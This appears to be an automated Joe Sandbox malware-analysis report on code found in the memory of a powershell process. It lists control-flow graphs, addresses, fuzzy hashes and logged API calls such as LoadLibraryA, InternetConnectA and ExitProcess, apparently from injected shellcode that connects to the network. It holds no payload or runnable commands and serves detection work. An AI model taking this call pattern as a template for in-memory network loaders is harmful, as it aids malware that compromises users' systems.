                                                                execution_graph 6685 77d00ba InternetConnectA 6686 77d00d2 6685->6686 6690 77d00d7 6686->6690 6688 77d0168 ExitProcess 6692 77d00d2 6690->6692 6691 77d0157 6691->6688 6692->6688 6692->6691 6693 77d02dd ExitProcess 6692->6693 6694 77d02d5 6695 77d02dd ExitProcess 6694->6695 6696 77d0000 6699 77d008f LoadLibraryA 6696->6699 6700 77d00a7 6699->6700

                                                                Executed Functions

                                                                Function 077D00D7 Relevance: 1.7, APIs: 1, Instructions: 227COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 0 77d00d7-77d0122 5 77d0128-77d012f 0->5 6 77d0124-77d0126 0->6 7 77d0131-77d014e 5->7 6->7 11 77d0157-77d030d 7->11 12 77d0150-77d016b call 77d00d7 7->12 19 77d030f-77d0328 11->19 20 77d016d 12->20 21 77d01d2-77d01e1 12->21 34 77d032a-77d032b 19->34 22 77d016f-77d0176 20->22 23 77d01e8-77d01ec 20->23 25 77d0253-77d0255 21->25 26 77d01e3 21->26 27 77d0178-77d0188 22->27 28 77d01e4 22->28 32 77d01ee-77d01fa 23->32 33 77d025b 23->33 30 77d0257-77d0258 25->30 31 77d02c1 25->31 26->28 27->21 28->23 35 77d025a 30->35 36 77d0286-77d0293 30->36 38 77d02c4-77d02c6 31->38 39 77d01fc-77d0204 32->39 40 77d0239 32->40 37 77d025d-77d0260 33->37 35->33 36->38 44 77d0295 36->44 41 77d02c7-77d02ca 37->41 47 77d0262 37->47 38->41 42 77d027b-77d0285 39->42 43 77d0207-77d020c 39->43 45 77d023b 40->45 46 77d02a0-77d02a6 40->46 48 77d02cc-77d02d4 41->48 42->36 49 77d026f-77d0272 43->49 50 77d020e-77d0228 43->50 51 77d0296-77d029e 44->51 52 77d023d-77d0247 45->52 53 77d02b6-77d02bb 45->53 54 77d02a9-77d02b4 46->54 55 77d0264-77d0265 47->55 56 77d02dd-77d02ed ExitProcess 48->56 49->56 57 77d0274-77d0278 49->57 50->55 58 77d022a-77d022d 50->58 59 77d029f 51->59 60 77d02be 52->60 61 77d024a-77d024f 52->61 62 77d02bc 53->62 54->53 55->48 63 77d0267 55->63 57->42 58->59 65 77d022f-77d0235 58->65 59->46 60->62 66 77d02c0 60->66 61->25 62->37 62->60 63->51 64 77d0269-77d026d 63->64 64->49 64->54 65->40 66->31
                                                                APIs
                                                                • ExitProcess.KERNEL32(56A2B5F0,?,696E6977,0074656E), ref: 077D02ED
                                                                Memory Dump Source
                                                                • Source File: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd
                                                                Yara matches
                                                                Similarity
                                                                • API ID: ExitProcess
                                                                • String ID:
                                                                • API String ID: 621844428-0
                                                                • Opcode ID: c6a37002d5e2ae635905fe29e468e9948d4b32d2faac038429c5fd609d85d945
                                                                • Instruction ID: 3faede5caf62bb9813e77d8479c92c2cf772b4444da0a9856b3ad4f59f8de3f7
                                                                • Opcode Fuzzy Hash: c6a37002d5e2ae635905fe29e468e9948d4b32d2faac038429c5fd609d85d945
                                                                • Instruction Fuzzy Hash: 5A61BEF151A3D679E7214B368C4AF677F79EF83690F18289CE1905B093E550EC01C3AA
                                                                Function 077D00BA Relevance: 1.5, APIs: 1, Instructions: 30networkCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 67 77d00ba-77d016b InternetConnectA call 77d00d7 72 77d016d 67->72 73 77d01d2-77d01e1 67->73 74 77d016f-77d0176 72->74 75 77d01e8-77d01ec 72->75 76 77d0253-77d0255 73->76 77 77d01e3 73->77 78 77d0178-77d0188 74->78 79 77d01e4 74->79 82 77d01ee-77d01fa 75->82 83 77d025b 75->83 80 77d0257-77d0258 76->80 81 77d02c1 76->81 77->79 78->73 79->75 84 77d025a 80->84 85 77d0286-77d0293 80->85 87 77d02c4-77d02c6 81->87 88 77d01fc-77d0204 82->88 89 77d0239 82->89 86 77d025d-77d0260 83->86 84->83 85->87 93 77d0295 85->93 90 77d02c7-77d02ca 86->90 96 77d0262 86->96 87->90 91 77d027b-77d0285 88->91 92 77d0207-77d020c 88->92 94 77d023b 89->94 95 77d02a0-77d02a6 89->95 97 77d02cc-77d02d4 90->97 91->85 98 77d026f-77d0272 92->98 99 77d020e-77d0228 92->99 100 77d0296-77d029e 93->100 101 77d023d-77d0247 94->101 102 77d02b6-77d02bb 94->102 103 77d02a9-77d02b4 95->103 104 77d0264-77d0265 96->104 105 77d02dd-77d02ed ExitProcess 97->105 98->105 106 77d0274-77d0278 98->106 99->104 107 77d022a-77d022d 99->107 108 77d029f 100->108 109 77d02be 101->109 110 77d024a-77d024f 101->110 111 77d02bc 102->111 103->102 104->97 112 77d0267 104->112 106->91 107->108 114 77d022f-77d0235 107->114 108->95 109->111 115 77d02c0 109->115 110->76 111->86 111->109 112->100 113 77d0269-77d026d 112->113 113->98 113->103 114->89 115->81
                                                                APIs
                                                                • InternetConnectA.WININET(C69F8957,00000000,077D0331,000020FB,00000000,00000000,00000003,00000000,00000000,?,696E6977,0074656E), ref: 077D00CF
                                                                Memory Dump Source
                                                                • Source File: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd
                                                                Yara matches
                                                                Similarity
                                                                • API ID: ConnectInternet
                                                                • String ID:
                                                                • API String ID: 3050416762-0
                                                                • Opcode ID: 07a1f289859aa8257f52f3eb96be97467543ee063e50254d24392e6b4541b945
                                                                • Instruction ID: 5b5b62399da41dac8125565d53626e1cd288f85858d85b75dd496e721757bf99
                                                                • Opcode Fuzzy Hash: 07a1f289859aa8257f52f3eb96be97467543ee063e50254d24392e6b4541b945
                                                                • Instruction Fuzzy Hash: 3BE0DFE06B43067EF4281E24CE9BEBF272DC3202D0F042E1AB659684C1B4D2AE01C179
                                                                Function 077D02D5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 116 77d02d5-77d02ed ExitProcess
                                                                APIs
                                                                • ExitProcess.KERNEL32(56A2B5F0,?,696E6977,0074656E), ref: 077D02ED
                                                                Memory Dump Source
                                                                • Source File: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd
                                                                Yara matches
                                                                Similarity
                                                                • API ID: ExitProcess
                                                                • String ID:
                                                                • API String ID: 621844428-0
                                                                • Opcode ID: ee0dfff30c0374f97f67a799fce4575d232558016e124d280d061d76dbab74af
                                                                • Instruction ID: 1fcd3a9f3a84bab7241dcb5d15dabeb46a5717a5e562ee8d1622c79190bc0291
                                                                • Opcode Fuzzy Hash: ee0dfff30c0374f97f67a799fce4575d232558016e124d280d061d76dbab74af
                                                                • Instruction Fuzzy Hash: 8BC08C02826A957A83124230C89A3CEBB442806211328888AC0900B561C318C2028297
                                                                Function 077D008F Relevance: 1.5, APIs: 1, Instructions: 7libraryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 118 77d008f-77d00a2 LoadLibraryA call 77d00a7
                                                                APIs
                                                                • LoadLibraryA.KERNEL32(0726774C,?,696E6977,0074656E), ref: 077D00A0
                                                                Memory Dump Source
                                                                • Source File: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_6_2_77d0000_powershell.jbxd
                                                                Yara matches
                                                                Similarity
                                                                • API ID: LibraryLoad
                                                                • String ID:
                                                                • API String ID: 1029625771-0
                                                                • Opcode ID: 5a947e7f3338d89dec675f7ce1a8893158c68d3fedbd9699ec035027427ea175
                                                                • Instruction ID: 2582ad0d9d5a24fa2167fb5e8a14ea7ef5c585ebe95de1be83fe0f536dbd3f1a
                                                                • Opcode Fuzzy Hash: 5a947e7f3338d89dec675f7ce1a8893158c68d3fedbd9699ec035027427ea175
                                                                • Instruction Fuzzy Hash: D5A002C06DB30DB745427A729E0BD6D7D258803AEDF816112F59D24989098B55748077
                                                                Function 049E5160 Relevance: .3, Instructions: 252COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 120 49e5160-49e518e 122 49e5194-49e51aa 120->122 123 49e5265-49e52a7 120->123 124 49e51af-49e51c2 122->124 125 49e51ac 122->125 127 49e52ad-49e52c6 123->127 128 49e53c1-49e53ed 123->128 124->123 130 49e51c8-49e51d5 124->130 125->124 131 49e52cb-49e52d9 127->131 132 49e52c8 127->132 136 49e53ef 128->136 137 49e53f9-49e541a 128->137 133 49e51da-49e51ec 130->133 134 49e51d7 130->134 131->128 140 49e52df-49e52e9 131->140 132->131 133->123 141 49e51ee-49e51f8 133->141 134->133 136->137 152 49e541c 137->152 153 49e5426-49e543a 137->153 143 49e52eb-49e52ed 140->143 144 49e52f7-49e5304 140->144 146 49e51fa-49e51fc 141->146 147 49e5206-49e5216 141->147 143->144 144->128 145 49e530a-49e531a 144->145 149 49e531f-49e532d 145->149 150 49e531c 145->150 146->147 147->123 151 49e5218-49e5222 147->151 149->128 158 49e5333-49e5343 149->158 150->149 154 49e5224-49e5226 151->154 155 49e5230-49e5264 151->155 152->153 154->155 160 49e5348-49e5355 158->160 161 49e5345 158->161 160->128 165 49e5357-49e5367 160->165 161->160 166 49e536c-49e5378 165->166 167 49e5369 165->167 166->128 169 49e537a-49e5394 166->169 167->166 170 49e5399 169->170 171 49e5396 169->171 172 49e539e-49e53a8 170->172 171->170 173 49e53ad-49e53c0 172->173
                                                                Memory Dump Source
                                                                • Source File: 00000006.00000002.1369768726.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_6_2_49e0000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: d23a889285d0952f78868e039f48ee68811f71dc6bdb7d17c4b4a7ddf332a96e
                                                                • Instruction ID: 24120b1ff109a89cbe9a98401ed8890d6891810917d5ab98932236f3c71d5383
                                                                • Opcode Fuzzy Hash: d23a889285d0952f78868e039f48ee68811f71dc6bdb7d17c4b4a7ddf332a96e
                                                                • Instruction Fuzzy Hash: 08A18D74A00205DFCB16CF99C494AAEFBB2FF88324B258569E5159B361D735FC41CBA0
                                                                Function 049E4043 Relevance: .2, Instructions: 213COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 174 49e4043-49e404a 176 49e404c-49e404e 174->176 177 49e4053-49e405a 174->177 176->177 179 49e405c-49e405e 177->179 180 49e4063-49e406a 177->180 179->180 182 49e406c-49e406e 180->182 183 49e4073-49e4078 180->183 182->183 185 49e408c-49e408e 183->185 186 49e407a 183->186 189 49e4093-49e409a 185->189 187 49e407c-49e407e 186->187 188 49e4083-49e408a 186->188 187->188 188->185 188->189 192 49e409c-49e409e 189->192 193 49e40a3-49e40aa 189->193 192->193 195 49e40ac-49e40ae 193->195 196 49e40b3-49e40ba 193->196 195->196 198 49e40bc-49e40be 196->198 199 49e40c3-49e40ca 196->199 198->199 201 49e40cb-49e40ce 199->201 202 49e40d3-49e40da 199->202 201->202 204 49e40db-49e40de 202->204 205 49e40e3-49e40ea 202->205 204->205 207 49e40ec-49e40ee 205->207 208 49e40f3-49e40fa 205->208 207->208 210 49e40fc-49e4101 208->210 211 49e4103-49e410a 208->211 210->211 214 49e410b-49e410e 211->214 215 49e4113-49e411a 211->215 214->215 217 49e411c-49e411e 215->217 218 49e4123-49e414e 215->218 217->218 221 49e4157-49e4178 218->221 222 49e4150-49e4156 218->222 223 49e41dd-49e4234 221->223 224 49e417a-49e41a0 221->224 222->221 228 49e41a7 224->228 229 49e41a2-49e41a5 224->229 230 49e41a9 228->230 229->230 231 49e41b1-49e41ba 230->231 232 49e41bf-49e41dc 231->232
                                                                Memory Dump Source
                                                                • Source File: 00000006.00000002.1369768726.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_6_2_49e0000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 770c21b947241c7066881381e1c90a4fc3447901ee0792320152924f30244b0b
                                                                • Instruction ID: e6d0c94e1716dc741c2acfa3e11d9933bcdb107db7109a948e52228d12bfdfce
                                                                • Opcode Fuzzy Hash: 770c21b947241c7066881381e1c90a4fc3447901ee0792320152924f30244b0b
                                                                • Instruction Fuzzy Hash: 3571802580E3C08FEB039B7888A419B7F719F97254B0E41E3C0D0DF1E7D624A949CBA6
                                                                Function 049E5270 Relevance: .1, Instructions: 110COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 234 49e5270-49e52a7 235 49e52ad-49e52c6 234->235 236 49e53c1-49e53ed 234->236 237 49e52cb-49e52d9 235->237 238 49e52c8 235->238 240 49e53ef 236->240 241 49e53f9-49e541a 236->241 237->236 243 49e52df-49e52e9 237->243 238->237 240->241 251 49e541c 241->251 252 49e5426-49e543a 241->252 245 49e52eb-49e52ed 243->245 246 49e52f7-49e5304 243->246 245->246 246->236 247 49e530a-49e531a 246->247 249 49e531f-49e532d 247->249 250 49e531c 247->250 249->236 255 49e5333-49e5343 249->255 250->249 251->252 256 49e5348-49e5355 255->256 257 49e5345 255->257 256->236 260 49e5357-49e5367 256->260 257->256 261 49e536c-49e5378 260->261 262 49e5369 260->262 261->236 264 49e537a-49e5394 261->264 262->261 265 49e5399-49e53a8 264->265 266 49e5396 264->266 268 49e53ad-49e53c0 265->268 266->265
                                                                Memory Dump Source
                                                                • Source File: 00000006.00000002.1369768726.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_6_2_49e0000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: e55534ceb3e4b49bb618c4d7b399f82185256ff4881079ffc9d96caaa0ba921e
                                                                • Instruction ID: c55501544518b98cf4ab45ac32b76128a70169b00652fdf7ce6b4d5f5f44614f
                                                                • Opcode Fuzzy Hash: e55534ceb3e4b49bb618c4d7b399f82185256ff4881079ffc9d96caaa0ba921e
                                                                • Instruction Fuzzy Hash: 0E414D74A00605EFCB1ACF99C094AAEFBB1FF48324B158569D505AB365C736FC91CBA0
                                                                Function 049E4150 Relevance: .1, Instructions: 65COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 269 49e4150-49e4178 271 49e41dd-49e4234 269->271 272 49e417a-49e41a0 269->272 276 49e41a7 272->276 277 49e41a2-49e41a5 272->277 278 49e41a9-49e41ba 276->278 277->278 280 49e41bf-49e41dc 278->280
                                                                Memory Dump Source
                                                                • Source File: 00000006.00000002.1369768726.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_6_2_49e0000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: e84acc1be7ae4e783bc3f9c69723161bf9f59c3ab2e1c1e901850a6e96749b72
                                                                • Instruction ID: 9e6d6ab54f01492f47d17a9d9e9f658c261cab9f41089cf8d057b46eefcdb8e8
                                                                • Opcode Fuzzy Hash: e84acc1be7ae4e783bc3f9c69723161bf9f59c3ab2e1c1e901850a6e96749b72
                                                                • Instruction Fuzzy Hash: 12215074A04219DFDB01CF99C8809AEFBB5FF89310B148496D415DB352C735ED41CBA1
                                                                Function 02C5D005 Relevance: .0, Instructions: 45COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 282 2c5d005-2c5d03d 283 2c5d08d-2c5d095 282->283 284 2c5d03f-2c5d04a 282->284 283->284 285 2c5d082-2c5d089 284->285 286 2c5d04c-2c5d05a 284->286 285->286 290 2c5d08b 285->290 289 2c5d060 286->289 291 2c5d063-2c5d06b 289->291 290->291 292 2c5d06d-2c5d075 291->292 293 2c5d07b-2c5d080 291->293 293->292
                                                                Memory Dump Source
                                                                • Source File: 00000006.00000002.1367744344.0000000002C5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C5D000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_6_2_2c5d000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6ee5771951bc0818119ca11614a0d218bd47a722905f17ae14e15352873c6e68
                                                                • Instruction ID: 486071f4fb6a22a5c448661e1e5b59112109431c5626f014d9f32463da079cc2
                                                                • Opcode Fuzzy Hash: 6ee5771951bc0818119ca11614a0d218bd47a722905f17ae14e15352873c6e68
                                                                • Instruction Fuzzy Hash: DF01406100E3D05FD7128B258994756BFB8DF83224F1D81DBD8888F1A3D2699849C7B2
                                                                Function 02C5D01D Relevance: .0, Instructions: 45COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 295 2c5d01d-2c5d03d 296 2c5d08d-2c5d095 295->296 297 2c5d03f-2c5d04a 295->297 296->297 298 2c5d082-2c5d089 297->298 299 2c5d04c-2c5d05a 297->299 298->299 303 2c5d08b 298->303 302 2c5d060 299->302 304 2c5d063-2c5d06b 302->304 303->304 305 2c5d06d-2c5d075 304->305 306 2c5d07b-2c5d080 304->306 306->305
                                                                Memory Dump Source
                                                                • Source File: 00000006.00000002.1367744344.0000000002C5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C5D000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_6_2_2c5d000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: efaf6cb6f4434c83b10ace72ba6dbeaa8809f308e07207f8eb1341f367e667f3
                                                                • Instruction ID: e4e5b3323b5171901ed76a6607ba3b2a5d5fc9023e21c46962a5509d49fafb0b
                                                                • Opcode Fuzzy Hash: efaf6cb6f4434c83b10ace72ba6dbeaa8809f308e07207f8eb1341f367e667f3
                                                                • Instruction Fuzzy Hash: 6001F731405350DEE7204A12CDC4767BB98DFC1624F088019EC4A4F282D779D9C6CAFA